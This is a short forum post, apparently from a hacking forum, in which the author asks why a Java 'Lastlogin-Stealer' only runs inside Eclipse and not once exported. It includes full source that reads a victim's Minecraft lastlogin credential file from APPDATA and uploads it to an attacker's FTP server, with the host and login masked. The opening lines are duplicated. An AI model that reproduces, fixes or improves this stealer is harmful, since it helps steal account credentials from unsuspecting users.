Hey HF. I made a "Lastlogin-Stealer" in Java,
but I have a problem. The stealer is only working when I run it over Eclipse. When I export and execute it, nothing happens. Does anyone know what's wrong? Heres my code:
Main.java
Stealer.java
Thanks.
but I have a problem. The stealer is only working when I run it over Eclipse. When I export and execute it, nothing happens. Does anyone know what's wrong? Heres my code:
Main.java
Code
public class Main {
public static void main(String[] args) {
Stealer stealer = new Stealer();
}
}Stealer.java
Code
import java.io.File;
import java.io.FileInputStream;
import org.apache.commons.net.ftp.FTPClient;
public class Stealer implements Runnable {
public Stealer() {
run();
}
@Override
public void run() {
try {
File file = new File(System.getenv("APPDATA"), ".minecraft/lastlogin");
FTPClient ftpClient = new FTPClient();
ftpClient.connect("**.**");
ftpClient.login("**", "**");
ftpClient.storeFile("Lastlogin " + System.currentTimeMillis(), new FileInputStream(file));
ftpClient.logout();
ftpClient.disconnect();
} catch (Exception e) {
e.printStackTrace();
}
}
}Thanks.



